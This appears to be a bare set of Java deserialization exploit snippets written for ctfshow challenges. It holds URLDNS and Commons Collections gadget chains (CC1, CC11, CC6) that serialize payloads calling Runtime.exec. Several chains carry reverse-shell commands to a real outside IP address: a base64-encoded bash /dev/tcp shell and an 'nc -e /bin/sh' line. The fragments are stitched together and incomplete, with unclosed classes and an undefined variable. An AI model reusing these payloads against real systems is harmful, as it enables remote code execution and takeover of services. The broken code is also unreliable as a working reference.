public class ctfshow846 { public static void main(String[] args) throws Exception { HashMap h=new HashMap(); URL url=new URL("https://b3f77a0b-169e-4e71-bf88-42040c3a87d7.challenge.ctf.show/"); Class cls=Class.forName("java.net.URL"); Field f = cls.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,1); h.put(url,1); f.set(url,-1);
ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(h);
public class show847 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 保留你的反弹 Shell 命令 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS4yMDEuMTE5LjE1OC8yMzMzIDA+JjE}|{base64,-d}|{bash,-i}"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(o); oos.close();
public class CommonsCollections11 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{ "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS4yMDEuMTE5LjE1OC8yMzMzIDA+JjE}|{base64,-d}|{bash,-i}"}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(handler); oos.close();
public class CC_six_4 { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 101.201.119.158 2333 -e /bin/sh"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> Outermap = LazyMap.lazyMap(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(Outermap, "test");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"test1"); Outermap.remove("test");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(Outermap,chainedTransformer);
ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(map2);